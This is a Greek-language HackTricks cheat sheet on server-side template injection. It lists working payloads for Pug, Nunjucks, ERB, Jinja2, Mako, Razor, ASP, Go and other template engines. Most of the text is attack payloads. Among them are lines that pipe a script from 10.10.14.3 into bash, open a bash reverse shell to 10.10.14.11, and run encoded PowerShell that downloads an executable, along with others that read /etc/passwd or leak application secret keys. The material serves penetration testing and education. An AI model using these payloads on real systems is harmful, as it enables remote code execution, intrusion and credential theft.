Περισσότερες πληροφορίες
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Παράδειγμα απόδοσης πλευράς διακομιστή
var pugjs = require('pug');
home = pugjs.render(injected_page)
Περισσότερες πληροφορίες
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Χωρίς έξοδο
- #{7*7} = #{7*7}
- {{console.log(1)}} = Σφάλμα
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Περισσότερες πληροφορίες
Άλλο NodeJS
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Περισσότερες πληροφορίες
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Περισσότερες πληροφορίες
Άλλο Ruby
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Δείτε την παρακάτω σελίδα για να μάθετε κόλπα σχετικά με την εκτέλεση αυθαίρετων εντολών παρακάμπτοντας τα sandboxes στην python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Περισσότερες πληροφορίες
Jinja2 (Python)
Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη εκτελεστική περιβάλλον sandbox, είναι ευρέως χρησιμοποιούμενη και έχει άδεια BSD.
{{7*7}} = Σφάλμα
${7*7} = ${7*7}
{{foobar}} Τίποτα
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Μορφή προτύπου
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE που δεν εξαρτάται από __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Άλλες payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Περισσότερες πληροφορίες
Άλλο Python
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Επιτυχία
@() <= Επιτυχία
@("{{code}}") <= Επιτυχία
@ <= Επιτυχία
@{} <= ΣΦΑΛΜΑ!
@{ <= ΣΦΑΛΜΑ!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Η μέθοδος .NET System.Diagnostics.Process.Start
μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης εφαρμογής ιστού στο https://github.com/cnotin/RazorVulnerableApp
Περισσότερες πληροφορίες
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Τίποτα<%= response.write(date()) %>
= <Ημερομηνία>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Περισσότερες Πληροφορίες
Mojolicious (Perl)
Ακόμα και αν είναι Perl, χρησιμοποιεί ετικέτες όπως το ERB στη Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Στη μηχανή προτύπων του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα payloads:
{{ . }}
: Αποκαλύπτει τη δομή δεδομένων εισόδου. Για παράδειγμα, αν περαστεί ένα αντικείμενο με ένα χαρακτηριστικόPassword
, το{{ .Password }}
θα μπορούσε να το εκθέσει.{{printf "%s" "ssti" }}
: Αναμένεται να εμφανίσει τη συμβολοσειρά "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Αυτά τα payloads θα πρέπει να επιστρέφουν "ssti" χωρίς να προσθέτουν "html" ή "js". Περαιτέρω οδηγίες μπορούν να εξερευνηθούν στην τεκμηρίωση του Go εδώ.
XSS Exploitation
Με το πακέτο text/template
, το XSS μπορεί να είναι απλό εισάγοντας το payload απευθείας. Αντίθετα, το πακέτο html/template
κωδικοποιεί την απάντηση για να το αποτρέψει (π.χ., {{"<script>alert(1)</script>"}}
έχει ως αποτέλεσμα <script>alert(1)</script>
). Παρ' όλα αυτά, ο ορισμός και η κλήση προτύπων στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ html/template
και text/template
. Το module text/template
επιτρέπει την άμεση κλήση οποιασδήποτε δημόσιας συνάρτησης (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο html/template
. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη εδώ για html/template και εδώ για text/template.
Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο System
που εκτελεί εντολές, μπορεί να εκμεταλλευτεί όπως {{ .System "ls" }}
. Η πρόσβαση στον πηγαίο κώδικα είναι συνήθως απαραίτητη για να εκμεταλλευτεί αυτό, όπως στο δοθέν παράδειγμα:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Περισσότερες πληροφορίες
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
Περισσότερες Εκμεταλλεύσεις
Δείτε το υπόλοιπο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες σχετικά με ετικέτες στο https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
Σχετική Βοήθεια
Αν νομίζετε ότι θα μπορούσε να είναι χρήσιμο, διαβάστε:
Εργαλεία
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Λίστα Ανίχνευσης Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Πρακτική & Αναφορές
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην Ισπανία και μία από τις πιο σημαντικές στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.